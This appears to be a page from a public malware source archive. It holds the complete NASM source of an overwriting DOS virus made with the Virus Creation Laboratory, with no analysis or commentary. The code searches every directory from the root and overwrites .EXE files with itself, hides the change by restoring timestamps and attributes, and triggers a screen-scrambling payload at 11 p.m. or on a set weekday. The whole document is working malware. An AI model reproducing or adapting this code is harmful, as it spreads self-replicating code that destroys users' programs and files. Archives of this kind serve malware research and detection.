mirror of
https://github.com/vxunderground/MalwareSourceCode
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324 lines
12 KiB
NASM
324 lines
12 KiB
NASM
; UNTITLED.ASM
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Unknown User
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virus_type equ 1 ; Overwriting Virus
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is_encrypted equ 0 ; We're not encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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Row dw 24
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flag: xchg dx,ax
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mul ch
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xchg dx,ax
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call search_files ; Find and infect a file
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call search_files ; Find and infect another file
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call get_hour
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cmp ax,0017h ; Did the function return 23?
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je strt00 ; If equal, do effect
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call get_weekday
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cmp ax,0005h ; Did the function return 5?
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je strt00 ; If equal, do effect
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jmp end00 ; Otherwise skip over it
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;First, get current video mode and page.
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strt00: mov cx,0B800h ;color display, color video mem for page 1
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mov ah,15 ;Get current video mode
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int 10h
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cmp al,2 ;Color?
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je A2 ;Yes
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cmp al,3 ;Color?
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je A2 ;Yes
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cmp al,7 ;Mono?
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je A1 ;Yes
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int 20h ;No,quit
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;here if 80 col text mode; put video segment in ds.
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A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
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A2: mov bl,0 ;bx=page offset
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add cx,bx ;Video segment
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mov ds,cx ;in ds
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;start dropsy effect
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xor bx,bx ;Start at top left corner
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A3: push bx ;Save row start on stack
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mov bp,80 ;Reset column counter
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;Do next column in a row.
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A4: mov si,bx ;Set row top in si
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mov ax,[si] ;Get char & attr from screen
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cmp al,20h ;Is it a blank?
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je A7 ;Yes, skip it
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mov dx,ax ;No, save it in dx
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mov al,20h ;Make it a space
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mov [si],ax ;and put on screen
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add si,160 ;Set for next row
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mov di,cs:Row ;Get rows remaining
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A5: mov ax,[si] ;Get the char & attr from screen
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mov [si],dx ;Put top row char & attr there
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A6: call Vert ;Wait for 2 vert retraces
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mov [si],ax ;Put original char & attr back
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;Do next row, this column.
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add si,160 ;Next row
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dec di ;Done all rows remaining?
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jne A5 ;No, do next one
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mov [si-160],dx ;Put char & attr on line 25 as junk
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;Do next column on this row.
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A7: add bx,2 ;Next column, same row
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dec bp ;Dec column counter; done?
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jne A4 ;No, do this column
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;Do next row.
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A8: pop bx ;Get current row start
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add bx,160 ;Next row
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dec cs:Row ;All rows done?
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jne A3 ;No
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A9: mov ax,4C00h
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int 21h ;Yes, quit to DOS with error code
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;routine to deal with snow on CGA screen.
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Vert: push ax
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push dx
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push cx ;Save all registers used
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mov cl,2 ;Wait for 2 vert retraces
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mov dx,3DAh ;CRT status port
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F1: in al,dx ;Read status
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test al,8 ;Vert retrace went hi?
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je F1 ;No, wait for it
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dec cl ;2nd one?
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je F3 ;Yes, write during blanking time
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F2: in al,dx ;No, get status
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test al,8 ;Vert retrace went low?
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jne F2 ;No, wait for it
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jmp F1 ;Yes, wait for next hi
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F3: pop cx
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pop dx
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pop ax ;Restore registers
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ret
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end00: mov ax,04C00h ; DOS terminate function
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int 021h
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main endp
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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mov dx,offset root ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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mov dx,offset all_files ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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mov dx,offset up_dir ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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traverse endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
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jne infection_done ; If it is then exit
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cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
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je infection_done ; If it is then skip it
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cmp word ptr [si + 01Ah],(finish - start)
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jb infection_done ; If it's too small then exit
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mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,4 ; CX holds bytes to read (4)
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mov dx,offset buffer ; DX points to buffer
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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push si ; Save DTA address before compare
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mov si,offset buffer ; SI points to comparison buffer
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mov di,offset flag ; DI points to virus flag
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mov cx,4 ; CX holds number of bytes (4)
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rep cmpsb ; Compare the first four bytes
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pop si ; Restore DTA address
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je infection_done ; If equal then exit
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,finish - start ; CX holds virus length
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mov dx,offset start ; DX points to start of virus
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int 021h
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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buffer db 4 dup (?) ; Buffer to hold test data
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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get_hour proc near
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mov ah,02Ch ; DOS get time function
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int 021h
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mov al,ch ; Copy hour into AL
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cbw ; Sign-extend AL into AX
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ret ; Return to caller
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get_hour endp
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get_weekday proc near
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mov ah,02Ah ; DOS get date function
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int 021h
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cbw ; Sign-extend AL into AX
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ret ; Return to caller
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get_weekday endp
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vcl_marker db "[VCL]",0 ; VCL creation marker
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finish label near
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code ends
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end main
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